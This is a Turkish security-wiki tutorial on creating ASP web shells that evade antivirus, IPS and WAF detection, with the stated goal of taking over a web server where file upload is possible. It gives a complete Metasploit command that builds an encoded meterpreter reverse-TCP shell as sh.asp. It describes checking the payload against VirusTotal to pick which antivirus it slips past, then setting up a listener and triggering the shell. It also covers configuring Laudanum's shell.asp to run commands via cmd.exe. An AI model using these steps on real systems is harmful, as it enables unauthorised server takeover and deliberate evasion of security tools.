Antivirüsler Tarafından Yakalanmayan ASP Shell Oluşturma

BGA Security Wiki sitesinden
Şuraya atla: kullan, ara

Amaç:

Doğrudan veya dolaylı olarak dosya yükleme yetkisinin bulunduğu durumlarda, sunucuyu ele geçirmek için Antivirüs/IPS/Waf tarafından tanınmayan ASP shell oluşturmak.

Lab Senaryosu:

ASP destekli bir web sunucusu. Örnekte Windows Server 2008 üzerine kurulu IIS 7 kullanılmıştır.

Araç:

  • Laudanum 0.8
  • MSF 4.6.2

Adımlar:

Metasploit Framework Kullanarak:

  • “msfpayload windows/meterpreter/reverse_tcp LHOST=localmakinaip LPORT=443 R | msfencode -t raw -e x86/shikata_ga_nai -c3 | msfencode -t asp -o sh.asp” komutu ile ASP encode edilmiş “localmakinaip” yerine, belirtilen IP ye 443 portundan, ters bağlantı açacak bir payload oluşturulur. Payload, ayrıca shikata_ga_nai ile de encode edilmiştir. Aynı mantıkla, encoding sayısını ve çeşitini artırarak, farklı antivirüsler atlatılabilir. “msfencode -l” ile encoding çeşitleri listelenir. Oluşturulan payloadı, Virustotal gibi çoklu tarama hizmeti veren servislerde taratılarak, hangi antivirüslerin yakalayıp, hangisinin atlatıldığı tespit edilip, ona göre hedef sisteme yollanır.
  • Terminalden, msfconsole çalıştırılır ve “use exploit/multi/handler” ile ters bağlantı bekleyecek msf modülüne geçilir. Daha sonra PAYLOAD, LHOST ve LPORT değişkenleri, ilk adımda oluşturulan shell ile uyumlu olacak şekilde atanır ve “exploit” komutu ile bağlantı beklenmeye başlanır.


ASPShellolusturma1.png

  • Hedef sistem üzerine yüklenen sh.asp dosyasına, GET isteğinde bulunulur.(Herhangi bir tarayıcıdan hedef.com/sh.php gibi bağlanmak veya curl, nc, telnet, kullanılabilir). Böylece hedef sistemde payload çalışmış olur ve beklemekte olan Msf Handler’la bağlantıyı başlatır.

ASPShellolusturma2.png

Laudanum Kullanarak:

  • Msf ile istenilen antivirüsün atlatılamadığı durumlarda, basit yapısından dolayı, güncel antivirüsler tarafından zararlı olarak tanınmayan, Laudanum paketindeki “shell.asp” betiği kullanılabilir. İlk adımda, shell.asp dosyası bir text editör ile açılıp if ip<>"1.2.3.4" then satırındaki (sürüm 0.8 için satır 46) 1.2.3.4 yerine, shell’e bağlanacak olan makinanın dış IP adresi yazılır. Eğer shell.asp dosyasının adı değiştirilecekse <form action="shell.asp" satırında (satır 69) yeni dosya adının belirtilmesi gerekir. Düzenlemelerden sonra, dosya hedef sisteme yüklenir.
  • Hedef sistem üzerineki shell.asp dosyasına bağlanılıp, “Command” kutusu aracılığıyla, istenilen komutlar çalıtırılmaya başlanır. Dikkat edilmesi gereken, bir dosya sistemde çalıştırılacak uygulamanın da komutun başına eklenmesi gerekir. Örneğin cmd.exe aracılığıyla komut çalıştırılacaksa, C:/Windows/system32/cmd.exe /c komut gibi tam yol verilmesi gerekir. cmd.exe durumu için kısayol olarak %ComSpec% /c komut kullanılabilir. /c parametresi komut çalıştıktan sonra uygulamanın kapanması için gereklidir. %ComSpec% /c whoami komutunun çıktısı şu şekildedir.

ASPShellolusturma3.png